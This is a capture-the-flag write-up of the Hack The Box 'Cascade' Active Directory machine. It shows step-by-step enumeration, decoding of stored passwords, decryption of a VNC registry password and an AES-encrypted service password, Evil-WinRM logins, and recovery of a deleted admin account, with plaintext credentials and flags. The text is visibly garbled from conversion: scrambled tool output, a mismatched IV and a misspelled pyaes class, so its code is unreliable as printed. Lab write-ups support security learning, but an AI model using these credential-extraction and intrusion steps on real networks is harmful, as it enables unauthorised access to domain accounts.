# Cascade (HTB) - Writeup

### **Enumeration**

### **Nmap**

We start with scanning the Target for open ports and running services.

```
sudo nmap -p- -Pn -T4 --min-rate=1000 -sC -sV 10.129.170.31 > nmap-full-
scan.txt
```

```
-$ cat nmap-full-scan.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-06 23:23 CEST
 map scan report for 10.129.170.31
Host is up (0.041s latency).
Not shown: 65520 filtered tcp ports (no-response)
          STATE SERVICE
53/tcp
         open domain
                              Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
dns-nsid:
  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp
         open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-06 21:25:49Z)
135/tcp
        open msrpc
                             Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Dire
                              Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-
Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap
                               Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-
Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http
                              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
                         Microsoft Windows RPC
9154/tcp open msrpc
49159/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:wind
ows
Host script results:
 smb2-time:
   date: 2025-07-06T21:26:42
   start_date: 2025-07-06T21:21:35
 smb2-security-mode:
    2:1:0:
     Message signing enabled and required
_clock-skew: 2s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
 map done: 1 IP address (1 host up) scanned in 207.65 seconds
```

we see that the Idap domain is cascade.local.

## enum4linux

We continue with further enumeration and scan the target with the enum4linux tool.

```
------ (Users on 10.129.170.31 )------
index: 0xee0 RID: 0x464 acb: 0x00000214 Account: a.turnbull
                                                           Name: Adrian Turnbull Desc: (null)
index: 0xebc RID: 0x452 acb: 0x00000210 Account: arksvc Name: ArkSvc Desc: (null)
index: 0xee4 RID: 0x468 acb: 0x000000211 Account: b.hanson
                                                           Name: Ben Hanson
                                                                                  Desc: (null)
                                                           Name: BackupSvc Desc: (null)
index: 0xee7 RID: 0x46a acb: 0x00000210 Account: BackupSvc
index: 0xdeb RID: 0x1f5 acb: 0x00000215 Account: CascGuest
                                                           Name: (null)
                                                                         Desc: Built-in account for guest a
ccess to the computer/domain
index: 0xee5 RID: 0x469 acb: 0x00000210 Account: d.burman
                                                           Name: David Burman
                                                                                  Desc: (null)
index: 0xee3 RID: 0x467 acb: 0x00000211 Account: e.crowe
                                                           Name: Edward Crowe
                                                                                  Desc: (null)
index: 0xeec RID: 0x46f acb: 0x00000211 Account: i.croft
                                                           Name: Ian Croft Desc: (null)
                                                           Name: Joseph Allen
index: 0xeeb RID: 0x46e acb: 0x00000210 Account: j.allen
                                                                                  Desc: (null)
index: 0xede RID: 0x462 acb: 0x00000210 Account: j.goodhand
                                                           Name: John Goodhand
                                                                                  Desc: (null)
                                                           Name: James Wakefield Desc: (null)
index: 0xed7 RID: 0x45c acb: 0x00000210 Account: j.wakefield
index: 0xeca RID: 0x455 acb: 0x00000210 Account: r.thompson
                                                           Name: Ryan Thompson Desc: (null)
                                                           Name: Stephanie Hickson Desc: (null)
index: 0xedd RID: 0x461 acb: 0x00000210 Account: s.hickson
index: 0xebd RID: 0x453 acb: 0x00000210 Account: s.smith
                                                           Name: Steve Smith
                                                                                  Desc: (null)
index: 0xed2 RID: 0x457 acb: 0x00000210 Account: util Name: Util
                                                                  Desc: (null)
```

We did find all Users on the AD!

```
[+] Password Info for Domain: CASCADE
        [+] Minimum password length: 5
        [+] Password history length: None
        [+] Maximum password age: Not Set
        [+] Password Complexity Flags: 000000
                [+] Domain Refuse Password Change: 0
                [+] Domain Password Store Cleartext: 0
                [+] Domain Password Lockout Admins: 0
                [+] Domain Password No Clear Change: 0
                [+] Domain Password No Anon Change: 0
                [+] Domain Password Complex: 0
        [+] Minimum password age: None
        [+] Reset Account Lockout Counter: 30 minutes
        [+] Locked Account Duration: 30 minutes
        [+] Account Lockout Threshold: None
        [+] Forced Log off Time: Not Set
```

We see that Account Lockout Threshold is set to None which means we don't get Blocked if we Bruteforce Credentials.

```
[+] Getting local group memberships:
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\krbtgt
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Controllers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Schema Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Enterprise Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Cert Publishers
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Domain Admins
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Group Policy Creator Owners
Group: Denied RODC Password Replication Group' (RID: 572) has member: CASCADE\Read-only Domain Controllers
Group: IT' (RID: 1113) has member: CASCADE\arksvc
Group: IT' (RID: 1113) has member: CASCADE\s.smith
Group: IT' (RID: 1113) has member: CASCADE\r.thompson
Group: AD Recycle Bin' (RID: 1119) has member: CASCADE\arksvc
Group: HR' (RID: 1115) has member: CASCADE\s.hickson
Group: Data Share' (RID: 1138) has member: CASCADE\Domain Users
Group: Audit Share' (RID: 1137) has member: CASCADE\s.smith
Group: Remote Management Users' (RID: 1126) has member: CASC
                                 (RID: 1126) has member: CASCADE\arksvc
Group: Remote Management Users' (RID: 1126) has member: CASCADE\s.smith
```

We also see the local Group memberships which can be helpful later during Privilege Escalation.

# windapsearch

Next we enumerate ldap with windapsearch.

```
python3 ./windapsearch.py -U --full --dc-ip 10.129.170.31 > windapsearch-
scan.txt
```

### cascadeLegacyPwd: clk0bjVldmE=

One User Attribute cascadeLegacyPwd of the user Ryan Thompson is suspicious.

It looks like a Base64 encoded string. So lets Decode it from Base64.

```
echo clk0bjVldmE= | base64 -d
```

```
___(ziliel⊛ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$\frac{1}{2}$ echo clk0bjVldmE= | base64 -d
rY4n5eva
```

#### **Evil-WinRM**

Lets try to log in to r.thompson with the found password through Evil-WinRM.

```
evil-winrm -i 10.129.170.31 -u r.thompson -p rY4n5eva
```

```
(ziliel® ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ evil-winrm -i 10.129.170.31 -u r.thompson -p rY4n5eva

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined meth od `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
```

It exits with code 1. Looks like we don't have PowerShell Remoting permissions.

# **SmbMap**

Lets try to map the SMB service running on our target with the credentials of Ryan

```
smbmap -H 10.129.170.31 -u r.thompson -p rY4n5eva
```

```
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.129.170.31:445
                                Name: 10.129.170.31
                                                                 Status: Authenticated
        Disk
                                                                 Permissions
                                                                                  Comment
        ADMIN$
                                                                                  Remote Admin
        Audit$
        C$
                                                                                  Default share
                                                                  READ ONLY
        Data
        IPC$
                                                                                  Remote IPC
                                                                 READ ONLY
                                                                                  Logon server share
        NETLOGON
                                                                 READ ONLY
                                                                                  Printer Drivers
        print$
        SYSVOL
                                                                 READ ONLY
                                                                                  Logon server share
[*] Closed 1 connections
```

We have permissions to list the shares and read some of them as well.

#### **SmbClient**

Lets read into the Data share

```
smbclient -U r.thompson -p rY4n5eva //10.129.170.31/Data
```

After some searching we find an interesting html file.

Lets download it and peak into it.

```
We will be using a temporary account to perform all tasks related to the network migration and this account will be deleted at the end of 2018 once the migration is complete. This will allow us to identify actions related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin acc ount password).
```

In the file we can find some words about a TempAdmin user that has the same password as the normal Admin.

### **Initial Access**

After some looking around we find a new file related to the user s.smith.

Lets open, download and read the file.

```
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
```

We can assume that our finding is the password for the user s.smith in Hexadecimal.

To decrypt the password just do the following.

```
msfconsole
msf5 > irb
key="\x17\x52\x6b\x06\x23\x4e\x58\x07"
require 'rex/proto/rfb'
Rex::Proto::RFB::Cipher.decrypt ["6BCF2A4B6E5ACA0F"].pack('H*'), key
```

here you can check out how this works!

The decrypted password is sT333ve2.

#### **Evil-WinRM**

Lets log in with our credentials.

```
(ziliel® ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ evil-winrm -i 10.129.166.220 -u s.smith -p sT333ve2

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined meth od `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents> []
```

We find the user flag at:

```
*Evil-WinRM* PS C:\Users\s.smith\Desktop> cat user.txt
84ae6bae44343eb5b7256d4d66d3ce09
```

### **Lateral Movement**

#### **Get-ADUser**

Lets use the Get-ADUser cmdlet to see all attributes of the user s.smith.

```
Get-ADUser -Identity <username> -Properties *

MemberOf : {CN=Audit Share,OU=Groups,OU=UK,DC=cascade,DC=local, CN=Remote Management Users,OU=Groups,OU=UK,DC=cascade,DC=local, CN=IT,OU=Groups,OU=UK,DC=cascade,DC=local}

ScriptPath : MapAuditDrive.vbs
```

We can see that s.smith is a member of the Audit Share Group and has a Log in script assigned to them.

### **SmbClient**

We can find the login script in the SMB share NETLOGON for each user.

```
smbclient -U s.smith //10.129.185.77/NETLOGON
```

Lets Download both scripts and look what they do.

## 1.) MapDataDrive.vbs:

```
Option Explicit
Dim oNetwork, strDriveLetter, strRemotePath
strDriveLetter = "0:"
strRemotePath = "\\CASC-DC1\Data"
Set oNetwork = CreateObject("WScript.Network")
oNetwork.MapNetworkDrive strDriveLetter, strRemotePath
WScript.Quit
```

This script mounts the Dat drive which we previously accessed.

### 2.) MapAuditDrive.vbs:

```
Option Explicit
Dim oNetwork, strDriveLetter, strRemotePath
strDriveLetter = "F:"
strRemotePath = "\\CASC-DC1\Audit$"
Set oNetwork = CreateObject("WScript.Network")
oNetwork.MapNetworkDrive strDriveLetter, strRemotePath
WScript.Quit
```

This script mount the Audit\$ Drive which we didn't check out until now.

Lets inspect the Audit Drive from close as the user s.smith.

```
smbclient //10.129.185.77/Audit$ -U s.smith
```

```
-(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
—$ smbclient //10.129.185.77/Audit$ -U s.smith
Password for [WORKGROUP\s.smith]:
Try "help" to get a list of possible commands.
smb: \> ls
                                       D
                                                0 Wed Jan 29 19:01:26 2020
                                       D
                                                0
                                                   Wed Jan 29 19:01:26 2020
  CascAudit.exe
                                            13312
                                                   Tue Jan 28 22:46:51 2020
                                      An
  CascCrypto.dll
                                            12288
                                                   Wed Jan 29 19:00:20 2020
                                      An
                                                   Tue Jan 28 22:40:59 2020
                                       D
  RunAudit.bat
                                                   Wed Jan 29 00:29:47 2020
                                       Α
                                               45
  System.Data.SQLite.dll
                                       Α
                                           363520
                                                   Sun Oct 27 07:38:36 2019
  System.Data.SQLite.EF6.dll
                                       Α
                                           186880
                                                   Sun Oct 27 07:38:38 2019
  x64
                                       D
                                                   Sun Jan 26 23:25:27 2020
  x86
                                       D
                                                   Sun Jan 26 23:25:27 2020
                                                0
                6553343 blocks of size 4096. 1626500 blocks available
```

We can see a bat file which usually show how programs are launched and with what parameters.

Lets Download and examine the RunAudit.bat file.

```
get RunAudit.bat

(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ cat RunAudit.bat
CascAudit.exe "\\CASC-DC1\Audit$\DB\Audit.db"
```

As we see the batch file starts the CascAudit.exe file and gives it a path to Audit.db.

Now we want to check out what is in that Audit.db so we Download it too and examine it. We use the file command to check the file type.

```
(ziliel@ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ file Audit.db
Audit.db: SQLite 3.x database, last written using SQLite version 3027002, file counter 60, database pages 6, 1st free page 6, free pages 1, cookie 0x4b, schema 4, UTF-8, version-valid-for 60
```

Its a SQLite database.

# **SQLite**

Lets check out whats in the db.

```
sqlitebrowser Audit.bat
```



The table Ldap contains a password for the user ArkSvc. After we try decoding it we see it got encrypted so we continue with something else.

#### CascAudit.exe

Due to the fact that the Audit database is used by the CascAudit.exe programm lets take and attempt and decompile the exe and see if we might find how the password is encrypted.

```
___(ziliel⊕ ziliel)-[/media/.../OWN/Cascade/scans/smb-findings]
_$ file CascAudit.exe
CascAudit.exe: PE32 executable for MS Windows 4.00 (console), Intel i386 Mono/.Net assembly, 3 sections
```

We can see that the file is a .NET executable. We can use dnSpy to open it. It can be run on linux with wine.

# dnSpy

You can download the latest version here.

```
sudo apt install wine64 -y
cd ~/Downloads
unzip dnSpy-netcore-win64.zip
cd dnSpy-netcore-win64
wine dnSpy.exe
```

Click on File, then Open and locate CascAudit.exe to decompile it. Locate the main function by clicking on CascAudit (1.0.0.0), then CascAudit and selecting MainModule.

#### **Main Function:**

```
string text = string.Empty;
string password = string.Empty;
string text2 = string.Empty;
try
```

```
{
sqliteConnection.Open();
using (SQLiteCommand sqliteCommand = new SQLiteCommand("SELECT * FROM
LDAP",
sqliteConnection))
{
using (SQLiteDataReader sqliteDataReader = sqliteCommand.ExecuteReader())
sqliteDataReader.Read();
text = Conversions.ToString(sqliteDataReader["Uname"]);
text2 = Conversions.ToString(sqliteDataReader["Domain"]);
string text3 = Conversions.ToString(sqliteDataReader["Pwd"]);
try
{
password = Crypto.DecryptString(text3, "c4scadek3y654321");
catch (Exception ex)
Console.WriteLine("Error decrypting password: " + ex.Message);
return;
}
}
}
sqliteConnection.Close();
}
```

The Program opens the SQLite database, reads the password and finally decrypts it with the Crypto.DecryptString function using the key c4scadek3y654321. Unfortunately the function is not found in the executable so it might be in a DLL file.

Lets Download the CascCrypo.dll file from the share and open it with dnSpy.

```
public static string DecryptString(string EncryptedString, string Key)
{
  byte[] array = Convert.FromBase64String(EncryptedString);
  Aes aes = Aes.Create();
  aes.KeySize = 128;
  aes.BlockSize = 128;
  aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
  aes.Mode = 1;
  aes.Key = Encoding.UTF8.GetBytes(Key);
  string @string;
  using (MemoryStream memoryStream = new MemoryStream(array))
```

```
{
using (CryptoStream cryptoStream = new
CryptoStream(memoryStream, aes.CreateDecryptor(), 0))
{
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
@string = Encoding.UTF8.GetString(array2);
}
return @string;
}
```

The Program uses a 128-bit AES algorithm do decrypt the password.

The encryption mode is set to 1 and the IV to 1tdyjCbY1Ix49842.

The .NET documentation states that mode 1 is CBC.

#### pyaes

Lets use the pyaes module to decrypt the password with a self written python script.

```
import pyaes
from base64 import b64decode
key = b"c4scadek3y654321"
iv = b"ltdyjCbY1Ix49842"
aes = pyaes.AESMode0f0perationCBC(key, iv = iv)
decrypted = aes.decrypt(b64decode('BQ0515Kj9MdErXx6Q6AG0w=='))
print(decrypted.decode())

python3 decrypt.py
w3lc0meFr31nd
```

Now with the new credentials we found we can Log in to the user ArkSvc with the password w3lc0meFr31nd.

```
(ziliel@ ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ evil-winrm -i 10.129.185.77 -u ArkSvc -p w3lc0meFr31nd

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\arksvc\Documents> ls
```

# **Privilege Escalation**

#### **Manuel Enumeration**

We want to know in what groups our current user has a membership in.

```
SER INFORMATION
                                    STD
ascade\arksvc S-1-5-21-3332504370-1206983947-1165150453-1106
  ROUP INFORMATION
                                                                                                                  Well-known group S-1-1-0
Alias S-1-5-32-545
Alias S-1-5-32-554
                                                                                                                                                                                                                                                                                             Mandatory group, Enabled by default, Enabled group
veryone
UILTIN\Users
UILTIN\Pre-Windows 2000 Compatible Access
                                                                                                                 Alias
Alias
                                                                                                                 Alias S-1-5-32-554 Mandatory group, Well-known group S-1-5-2 Mandatory group, Well-known group S-1-5-11 Mandatory group, Well-known group S-1-5-15 Mandatory group, Alias S-1-5-21-3332504370-1206983947-1165150453-1138 Mandatory group, Alias S-1-5-21-3332504370-1206983947-1165150453-1119 Mandatory group, Alias S-1-5-21-3332504370-1206983947-1165150453-1110 Mandatory group, Alias S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Mandatory group, S-1-5-21-3332504370-1206983947-1165150453-1126 Mandatory group, Mandatory group S-1-5-64-10
    AUTHORITY\NETWORK
    AUTHORITY\Authenticated Users
AUTHORITY\This Organization
   SCADE\Data Share
ASICADE VOATA SHAPE
ASCADENTA
ASCADENAD Recycle Bin
ASCADENREMOTE Management Users
T AUTHORITYNITM Authentication
andatory Label\Medium Plus Mandatory Level
                                                                                                                                                                                                                                                                                                                                          Enabled by default,
Enabled by default,
Enabled by default,
                                                                                                                                                                                                                                                                                                                                                                                                Enabled group,
Enabled group,
Enabled group,
                                                                                                                   Well-known group S-1-5-64-10
Label S-1-16-8448
RIVILEGES INFORMATION
rivilege Name
                                                                            Description
                                                                            Add workstations to domain
    MachineAccountPrivilege
  ChangeNotifyPrivilege Bypass traverse checking Enabled:
EIncreaseWorkingSetPrivilege Increase a process working set Enabled
```

The user is a member of the AD Recycle Bin Group. The AD Recycle Bin is used to recover Deleted AD Objects like Users, Groups etc. with no loss.

## **Get-ADObject**

We continue with enumerating the AD Recycle Bin for user accounts only.

```
Get-ADObject -ldapfilter "(&(objectclass=user)(isDeleted=TRUE))" -
IncludeDeletedObjects
```

We find the TempAdmin user which we heard of in the email we found. We know the TempAdmin has the same password as the real Admin user.

Lets enumerate further the TempAdmin user by applying the DisplayName filter.

```
Get-ADObject -ldapfilter "(&(objectclass=user)(DisplayName=TempAdmin)
(isDeleted=TRUE))" -IncludeDeletedObjects -Properties *
```

#### cascadeLegacyPwd

#### : YmFDVDNyMWFOMDBkbGVz

We found that the TempAdmin user has a similar property as the user r.thompson which contains a Base64 encoded string at first glance.

We decode the string,

```
(ziliel® ziliel)-[/media/.../Writeups/OWN/Cascade/scans]
$ echo YmFDVDNyMWFOMDBkbGVz | base64 -d
baCT3r1aN00dles
```

and find the Password for the TempAdmin user so we can log in to the Admin user.

Lets Log in as Admin through Evil-WinRM.

\*Evil-WinRM\* PS C:\Users\Administrator\Desktop> cat root.txt 367b0d254b9c10ca31a1049e34987a5b

root.txt found!